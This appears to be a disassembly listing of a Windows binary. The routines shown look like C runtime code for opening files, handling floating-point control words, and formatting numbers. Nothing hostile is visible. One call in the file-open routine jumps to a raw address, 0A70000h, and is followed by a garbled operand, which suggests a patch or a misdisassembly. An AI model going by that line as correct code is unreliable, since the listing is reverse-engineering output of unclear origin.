loc_41B699:				; CODE XREF: sub_41B5EA+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41B6A5
; ---------------------------------------------------------------------------


loc_41B6A2:				; CODE XREF: sub_41B5EA+90j
		mov	[ebp+var_10], ebx


loc_41B6A5:				; CODE XREF: sub_41B5EA+A4j
					; sub_41B5EA+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41B6EF
		jz	short loc_41B6EA
		cmp	ecx, ebx
		jz	short loc_41B6EA
		cmp	ecx, edi
		jz	short loc_41B6E1
		cmp	ecx, 200h
		jz	short loc_41B708
		cmp	ecx, 300h
		jnz	loc_41B646
		mov	[ebp+var_8], 2
		jmp	short loc_41B718
; ---------------------------------------------------------------------------


loc_41B6E1:				; CODE XREF: sub_41B5EA+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41B718
; ---------------------------------------------------------------------------


loc_41B6EA:				; CODE XREF: sub_41B5EA+D0j
					; sub_41B5EA+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41B718
; ---------------------------------------------------------------------------


loc_41B6EF:				; CODE XREF: sub_41B5EA+CEj
		cmp	ecx, 500h
		jz	short loc_41B711
		cmp	ecx, 600h
		jz	short loc_41B708
		cmp	ecx, edx
		jz	short loc_41B711
		jmp	loc_41B646
; ---------------------------------------------------------------------------


loc_41B708:				; CODE XREF: sub_41B5EA+E0j
					; sub_41B5EA+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41B718
; ---------------------------------------------------------------------------


loc_41B711:				; CODE XREF: sub_41B5EA+10Bj
					; sub_41B5EA+117j
		mov	[ebp+var_8], 1


loc_41B718:				; CODE XREF: sub_41B5EA+F5j
					; sub_41B5EA+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_41B737
		mov	ecx, ds:dword_45E80C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_41B737
		push	1
		pop	esi


loc_41B737:				; CODE XREF: sub_41B5EA+138j
					; sub_41B5EA+148j
		test	al, 40h
		jz	short loc_41B745
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_41B745:				; CODE XREF: sub_41B5EA+14Fj
		test	ah, 10h
		jz	short loc_41B74C
		or	esi, edi


loc_41B74C:				; CODE XREF: sub_41B5EA+15Ej
		test	al, 20h
		jz	short loc_41B758
		or	esi, 8000000h
		jmp	short loc_41B762
; ---------------------------------------------------------------------------


loc_41B758:				; CODE XREF: sub_41B5EA+164j
		test	al, 10h
		jz	short loc_41B762
		or	esi, 10000000h


loc_41B762:				; CODE XREF: sub_41B5EA+16Cj
					; sub_41B5EA+170j
		call	sub_41B3D0
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_41B783
		and	ds:dword_45E808, 0
		mov	ds:dword_45E804, 18h
		jmp	short loc_41B7C1
; ---------------------------------------------------------------------------


loc_41B783:				; CODE XREF: sub_41B5EA+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	ds:dword_41F078	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41B7B4
		push	esi
		call	near ptr 0A70000h
		cmp	al, [ebp+arg_561B75B8]
		call	ds:dword_41F070	; CloseHandle


loc_41B7B4:				; CODE XREF: sub_41B5EA+1B6j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		call	sub_41A667
		pop	ecx


loc_41B7C1:				; CODE XREF: sub_41B5EA+197j
		mov	eax, edi
		jmp	loc_41B89E
; ---------------------------------------------------------------------------
		cmp	eax, 2
		jnz	short loc_41B7D3
		or	[ebp+var_1], 40h
		jmp	short loc_41B7DC
; ---------------------------------------------------------------------------


loc_41B7D3:				; CODE XREF: sub_41B5EA+1E1j
		cmp	eax, 3
		jnz	short loc_41B7DC
		or	[ebp+var_1], 8


loc_41B7DC:				; CODE XREF: sub_41B5EA+1E7j
					; sub_41B5EA+1ECj
		push	esi
		push	ebx
		call	loc_41B465
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:45FB20h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_41B885
		test	al, 80h
		jz	short loc_41B885
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_41B885
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_419C0F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41B83A
		cmp	ds:dword_45E808, 83h
		jz	short loc_41B885
		jmp	short loc_41B879
; ---------------------------------------------------------------------------


loc_41B83A:				; CODE XREF: sub_41B5EA+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_419A19
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B867
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_41B867
		push	[ebp+var_10]
		push	ebx
		call	sub_41C8DC
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B879


loc_41B867:				; CODE XREF: sub_41B5EA+265j
					; sub_41B5EA+26Bj
		push	0
		push	0
		push	ebx
		call	sub_419C0F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B885


loc_41B879:				; CODE XREF: sub_41B5EA+24Ej
					; sub_41B5EA+27Bj
		push	ebx
		call	sub_41665B
		pop	ecx


loc_41B880:				; CODE XREF: sub_41B5EA+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B89E
; ---------------------------------------------------------------------------


loc_41B885:				; CODE XREF: sub_41B5EA+221j
					; sub_41B5EA+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41B89C
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_41B89C
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_41B89C:				; CODE XREF: sub_41B5EA+29Fj
					; sub_41B5EA+2A5j
		mov	eax, ebx


loc_41B89E:				; CODE XREF: sub_41B5EA+1D9j
					; sub_41B5EA+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B5EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8A3	proc near		; CODE XREF: sub_417C43+52p
		xor	eax, eax
		retn
sub_41B8A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B8A6	proc near		; CODE XREF: sub_41B8DB+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_41B8F1
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_41B983
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B8A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8DB	proc near		; CODE XREF: sub_417F2F+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_41B8A6
		pop	ecx
		pop	ecx
		retn
sub_41B8DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8F1	proc near		; CODE XREF: sub_41B8A6+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_41B902
		push	10h
		pop	eax


loc_41B902:				; CODE XREF: sub_41B8F1+Cj
		test	bl, 4
		jz	short loc_41B909
		or	al, 8


loc_41B909:				; CODE XREF: sub_41B8F1+14j
		test	bl, 8
		jz	short loc_41B910
		or	al, 4


loc_41B910:				; CODE XREF: sub_41B8F1+1Bj
		test	bl, 10h
		jz	short loc_41B917
		or	al, 2


loc_41B917:				; CODE XREF: sub_41B8F1+22j
		test	bl, 20h
		jz	short loc_41B91E
		or	al, 1


loc_41B91E:				; CODE XREF: sub_41B8F1+29j
		test	bl, 2
		jz	short loc_41B928
		or	eax, 80000h


loc_41B928:				; CODE XREF: sub_41B8F1+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_41B960
		cmp	edx, 400h
		jz	short loc_41B95D
		cmp	edx, 800h
		jz	short loc_41B959
		cmp	edx, esi
		jnz	short loc_41B960
		or	eax, edi
		jmp	short loc_41B960
; ---------------------------------------------------------------------------


loc_41B959:				; CODE XREF: sub_41B8F1+5Ej
		or	eax, ebp
		jmp	short loc_41B960
; ---------------------------------------------------------------------------


loc_41B95D:				; CODE XREF: sub_41B8F1+56j
		or	ah, 1


loc_41B960:				; CODE XREF: sub_41B8F1+4Ej
					; sub_41B8F1+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_41B970
		cmp	ecx, ebp
		jnz	short loc_41B975
		or	eax, 10000h
		jmp	short loc_41B975
; ---------------------------------------------------------------------------


loc_41B970:				; CODE XREF: sub_41B8F1+72j
		or	eax, 20000h


loc_41B975:				; CODE XREF: sub_41B8F1+76j
					; sub_41B8F1+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_41B982
		or	eax, 40000h

locret_41B982:				; CODE XREF: sub_41B8F1+8Aj
		retn
sub_41B8F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B983	proc near		; CODE XREF: sub_41B8A6+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_41B993
		push	1
		pop	eax


loc_41B993:				; CODE XREF: sub_41B983+Bj
		test	bl, 8
		jz	short loc_41B99A
		or	al, 4


loc_41B99A:				; CODE XREF: sub_41B983+13j
		test	bl, 4
		jz	short loc_41B9A1
		or	al, 8


loc_41B9A1:				; CODE XREF: sub_41B983+1Aj
		test	bl, 2
		jz	short loc_41B9A8
		or	al, 10h


loc_41B9A8:				; CODE XREF: sub_41B983+21j
		test	bl, 1
		jz	short loc_41B9AF
		or	al, 20h


loc_41B9AF:				; CODE XREF: sub_41B983+28j
		test	ebx, 80000h
		jz	short loc_41B9B9
		or	al, 2


loc_41B9B9:				; CODE XREF: sub_41B983+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_41B9E6
		cmp	ecx, 100h
		jz	short loc_41B9E3
		cmp	ecx, esi
		jz	short loc_41B9DE
		cmp	ecx, edx
		jnz	short loc_41B9E6
		or	ah, 0Ch
		jmp	short loc_41B9E6
; ---------------------------------------------------------------------------


loc_41B9DE:				; CODE XREF: sub_41B983+50j
		or	ah, 8
		jmp	short loc_41B9E6
; ---------------------------------------------------------------------------


loc_41B9E3:				; CODE XREF: sub_41B983+4Cj
		or	ah, 4


loc_41B9E6:				; CODE XREF: sub_41B983+44j
					; sub_41B983+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_41B9FC
		cmp	ecx, 10000h
		jnz	short loc_41B9FE
		or	eax, esi
		jmp	short loc_41B9FE
; ---------------------------------------------------------------------------


loc_41B9FC:				; CODE XREF: sub_41B983+6Bj
		or	eax, edx


loc_41B9FE:				; CODE XREF: sub_41B983+73j
					; sub_41B983+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_41BA0B
		or	ah, 10h

locret_41BA0B:				; CODE XREF: sub_41B983+83j
		retn
sub_41B983	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA0C	proc near		; CODE XREF: sub_41BAAB+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_41BA51
		inc	esi
		cmp	esi, 3
		jge	short loc_41BA4C
		lea	eax, [eax+esi*4]


loc_41BA3E:				; CODE XREF: sub_41BA0C+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_41BA51
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_41BA3E


loc_41BA4C:				; CODE XREF: sub_41BA0C+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BA51:				; CODE XREF: sub_41BA0C+27j
					; sub_41BA0C+35j
		xor	eax, eax
		pop	esi
		retn
sub_41BA0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA55	proc near		; CODE XREF: sub_41BAAB+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_41CA22
		add	esp, 0Ch
		dec	esi
		js	short loc_41BAA7
		lea	edi, [ebx+esi*4]


loc_41BA8E:				; CODE XREF: sub_41BA55+50j
		test	eax, eax
		jz	short loc_41BAA7
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_41CA22
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_41BA8E


loc_41BAA7:				; CODE XREF: sub_41BA55+34j
					; sub_41BA55+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41BA55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BAAB	proc near		; CODE XREF: sub_41BC06+81p
					; sub_41BC06+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_41BB0F
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_41BA0C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41BB0C
		push	edi
		push	[ebp+arg_0]
		call	sub_41BA55
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_41BB0C:				; CODE XREF: sub_41BAAB+51j
		mov	eax, [ebp+arg_4]


loc_41BB0F:				; CODE XREF: sub_41BAAB+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_41BB2F
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_41BB2F:				; CODE XREF: sub_41BAAB+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BAAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB37	proc near		; CODE XREF: sub_41BC06+75p
					; sub_41BC06+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_41BB45:				; CODE XREF: sub_41BB37+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_41BB45
		pop	esi
		retn
sub_41BB37	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB52	proc near		; CODE XREF: sub_41BC06+5Fp
					; sub_41BC06+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41BB52	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB5E	proc near		; CODE XREF: sub_41BC06+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_41BB64:				; CODE XREF: sub_41BB5E+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_41BB76
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_41BB64
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41BB76:				; CODE XREF: sub_41BB5E+9j
		xor	eax, eax
		retn
sub_41BB5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB79	proc near		; CODE XREF: sub_41BC06+C0p
					; sub_41BC06+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_41BBAF:				; CODE XREF: sub_41BB79+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_41BBAF
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_41BBE1:				; CODE XREF: sub_41BB79+86j
		cmp	ebx, edi
		jl	short loc_41BBF4
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_41BBFB
; ---------------------------------------------------------------------------


loc_41BBF4:				; CODE XREF: sub_41BB79+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_41BBFB:				; CODE XREF: sub_41BB79+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_41BBE1
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BB79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BC06	proc near		; CODE XREF: sub_41BD72+Dp
					; sub_41BD88+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_41BC73
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_41BB5E
		test	eax, eax
		pop	ecx
		jnz	loc_41BD32
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41BB52
		pop	ecx


loc_41BC6B:				; CODE XREF: sub_41BC06+E4j
		push	2


loc_41BC6D:				; CODE XREF: sub_41BC06+110j
		pop	eax
		jmp	loc_41BD34
; ---------------------------------------------------------------------------


loc_41BC73:				; CODE XREF: sub_41BC06+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41BB37
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41BAAB
		add	esp, 10h
		test	eax, eax
		jz	short loc_41BC94
		inc	ebx


loc_41BC94:				; CODE XREF: sub_41BC06+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_41BCAC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41BB52
		pop	ecx
		jmp	short loc_41BCE8
; ---------------------------------------------------------------------------


loc_41BCAC:				; CODE XREF: sub_41BC06+98j
		cmp	ebx, eax
		jg	short loc_41BCEF
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41BB37
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_41BB79
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41BAAB
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41BB79
		add	esp, 20h


loc_41BCE8:				; CODE XREF: sub_41BC06+A4j
		xor	esi, esi
		jmp	loc_41BC6B
; ---------------------------------------------------------------------------


loc_41BCEF:				; CODE XREF: sub_41BC06+A8j
		cmp	ebx, [edi]
		jl	short loc_41BD1B
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41BB52
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41BB79
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_41BC6D
; ---------------------------------------------------------------------------


loc_41BD1B:				; CODE XREF: sub_41BC06+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_41BB79
		pop	ecx
		pop	ecx


loc_41BD32:				; CODE XREF: sub_41BC06+55j
		xor	eax, eax


loc_41BD34:				; CODE XREF: sub_41BC06+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_41BD63
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_41BD6D
; ---------------------------------------------------------------------------


loc_41BD63:				; CODE XREF: sub_41BC06+14Ej
		cmp	edi, 20h
		jnz	short loc_41BD6D
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_41BD6D:				; CODE XREF: sub_41BC06+15Bj
					; sub_41BC06+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BC06	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BD72	proc near		; CODE XREF: sub_41BD9E+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_42DA70
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41BC06
		add	esp, 0Ch
		retn
sub_41BD72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BD88	proc near		; CODE XREF: sub_41BDCB+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_42DA88
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41BC06
		add	esp, 0Ch
		retn
sub_41BD88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD9E	proc near		; CODE XREF: sub_418068+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41CBC3
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41BD72
		add	esp, 24h
		leave
		retn
sub_41BD9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BDCB	proc near		; CODE XREF: sub_418068+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41CBC3
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41BD88
		add	esp, 24h
		leave
		retn
sub_41BDCB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BDF8	proc near		; CODE XREF: sub_4180A6+65p
					; sub_4181AA+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_41BE35
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_41BE1B:				; CODE XREF: sub_41BDF8+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_41BE27
		movsx	edx, dl
		inc	ecx
		jmp	short loc_41BE2A
; ---------------------------------------------------------------------------


loc_41BE27:				; CODE XREF: sub_41BDF8+27j
		push	30h
		pop	edx


loc_41BE2A:				; CODE XREF: sub_41BDF8+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_41BE1B
		mov	edx, [ebp+arg_8]


loc_41BE35:				; CODE XREF: sub_41BDF8+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_41BE4E
		cmp	byte ptr [ecx],	35h
		jl	short loc_41BE4E


loc_41BE41:				; CODE XREF: sub_41BDF8+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_41BE4C
		mov	byte ptr [eax],	30h
		jmp	short loc_41BE41
; ---------------------------------------------------------------------------


loc_41BE4C:				; CODE XREF: sub_41BDF8+4Dj
		inc	byte ptr [eax]


loc_41BE4E:				; CODE XREF: sub_41BDF8+42j
					; sub_41BDF8+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_41BE58
		inc	dword ptr [edx+4]
		jmp	short loc_41BE6A
; ---------------------------------------------------------------------------


loc_41BE58:				; CODE XREF: sub_41BDF8+59j
		push	edi
		call	sub_413DB0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_414520
		add	esp, 10h


loc_41BE6A:				; CODE XREF: sub_41BDF8+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41BDF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE6F	proc near		; CODE XREF: sub_4180A6+3Fp
					; sub_4181AA+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41BED3
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_45E9D0
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_41D094
		mov	ds:dword_45E9F8, eax
		add	esp, 18h
		movsx	eax, ds:byte_45E9D2
		mov	ds:dword_45E9F0, eax
		pop	edi
		movsx	eax, ds:word_45E9D0
		mov	ds:dword_45E9F4, eax
